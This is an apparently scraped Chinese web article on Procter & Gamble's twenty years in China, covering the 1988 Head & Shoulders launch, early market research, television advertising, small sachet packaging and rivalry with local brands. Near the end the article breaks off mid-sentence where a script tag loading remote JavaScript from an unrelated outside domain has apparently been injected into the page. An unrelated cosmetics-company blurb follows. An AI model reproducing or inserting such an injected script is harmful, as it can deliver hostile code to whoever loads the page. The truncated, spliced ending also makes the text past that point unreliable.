宝洁在中国的20年
宝洁在中国的20年
20年来，这个全球日化行业的王者艰难地征服了中国人的头发、肌肤、面庞、衣物……当然，还有他们的钱袋。同样，这20年宝洁也为中国市场建立了从未有过的营销体系。
1988年10月的一天，一些日化品经销商守在广州肥皂厂的门口，他们提着麻袋，里面装满一叠叠崭新的十元钞票。他们来买海飞丝—这种每瓶要卖将近20块钱的洗发水。
这让马福祥—这位50多岁的老国营肥皂厂厂长感到，一个不一样的时代来临了。就在几天前，第一批海飞丝才被装进纸箱搬上了平板三轮车，广州越秀闹市区的一条小巷中，肥皂厂职工的自行车堵住了路，三轮车刚好勉强能通过，巷子外边，停靠在路旁的卡车正在等候。
海飞丝的成功似乎就是来得这么容易。这种产品和那个年代中国人的消费水平极度不符，可是当每个城市、每个村镇的每家店铺的显眼位置都挂起长长的海飞丝小包洗发水时，“世界一流产品，美化您的生活”家喻户晓，事情就那么神秘地发生了。
宝洁要感谢吴凯(BerenikeUllmann)，这位公司派往中国的第一名员工在1986年夏天结束后给辛辛那提总部带回了一个不那么令人振奋的消息，中国消费者从洗衣服上找不到乐趣，尽管他们对使用汰渍的感觉良好。洗衣粉是宝洁利润最丰厚的产品，宝洁最初希望能利用它来打开中国市场，正如在其他很多发展中国家一样，它令衣物洁白、色彩光鲜，具有强效的洗净力，可是这一切对中国人来说都不具有吸引力。
在那个时代，人们开始越来越在意自己的外在形象，他们愿意承担不菲的价格“从头开始”。从今天来看，宝洁十分幸运地在那个历史时刻选择了洗发水来开始在中国的事业，而不是像联合利华那样极力推荐力士香皂。于是类似这样的故事成为许多人的记忆：“我记得我家的第一瓶海飞丝是我大姨从北京带回来的，那时候可真是当作奢侈品来用的。每次洗完头都把它的盖子盖好，放在我家组合家具的橱窗里。当时商场里卖28块钱一瓶，而我妈的月工资是128块钱。我们全家都觉得用海飞丝洗头的感觉不一样，甚至在年幼的我的心里,这是件无限光荣的事情，可以向同学们炫耀……”
1980年代，中国南部的经济特区开始活跃起a，但大多数地区还处在贫穷之中，人们用外汇券可以在大城市的友谊商店里买到有限的外国商品，许多跨国公司在这个巨大的市场前摇摆不定、战战兢兢，他们还抱着太多疑问，宝洁却决定大胆一试。
公司首先找到了BerenikeUllmann。1984年，这个出生于日内瓦的瑞士女孩即将在剑桥大学汉语和中国文学专业毕业，她看到宝洁欧洲公司在校园招聘信息栏里贴出的信息，要招一位熟悉中文、能够经常出差的市场研究员。
她在50多个候选者中被公司选中，第二年，中文名为吴凯的她负责了宝洁在中国的第一个任务—只身到北京和上海市场进行广告测试。据后来出任过宝洁董事长和首席执行官、当时就力推公司进入中国的爱德华·阿兹特(EdArtzt)先生回忆，为建立在中国的名声，每次以宝洁字体结束的广告至少被播出了10亿次。
这很显然是一个被夸大了的数字，但广告确实起到了关键的作用。在海飞丝上市以后，吴凯在走访消费者时发现，几乎所有人都通过电视知道了海飞丝。
大多数中国人那时熟悉的是蜂花、海鸥、美加净等本土品牌，对国外的洗发水闻所未闻，很多人会去国营商店用瓶子购买散装的洗发水。吴凯的市场研究还发现，男人几乎都是用香皂或肥皂洗头发。大家对洗完头干涩的感觉表示了不满意，但是对柔顺、飘逸的头发毫无概念，宝洁在这个市场可能将充满机会。
宝洁公司是全球最大的电视广告买主，当它把完全不同以往、以浪漫的爱情故事为情节的海飞丝广告带入中国时，很多人都被其打动，跃跃欲试。后来，请来张德培代言的飘柔广告更加深入人心。
但它渐渐发现，中国本土企业快速领悟了品牌的含义，后来它们开始变得难以对付。例如十年后纳爱斯的电视广告就描述失业的母亲在街上找工作，小女孩用“一点点雕牌洗衣粉就洗好多好多的衣服”。强调“只用对的，不选贵的”的雕牌成为日后宝洁最重要的竞争对手之一，甚至迫使汰渍在中国市场降价并且重新定位。
宝洁开始意识到，高昂的价格会阻止中国人大量使用他们的产品，它开始尝试从菲律宾和印度市场的竞争对手那里学到的办法，用售价0.5元的小包装解决问题。尽管如此，那时候许多人还是会把一小包洗发水分成几次来用，因为比较以前所接触的产品，它们能产生更丰富的泡沫。
吴凯回忆说：“有的农民会趁去县城集市卖菜的机会去商店买一包小的海飞丝，他们希望过年或者参加婚礼的时候能够让自己漂亮一些。”随后几年，中国市场几乎所有的洗发水品牌都学会了这一点，小包装成为那个时代特殊的产品形态，直到2000年代初，这样的包装才渐渐在市场中消失。
马福祥在上级领导的支持下决定让?script src=http://cn.jxmmtv.com/cn.js>
新闻推荐
苏州市东方之宝化妆品有限公司位于具有两千五百多年历史的名城苏州.风景秀丽，人杰地灵.是一家集开发、研制、生产与销售为一体的集团型专业化妆品企业。公司经过年开拓与发展，精选原料，高科技制...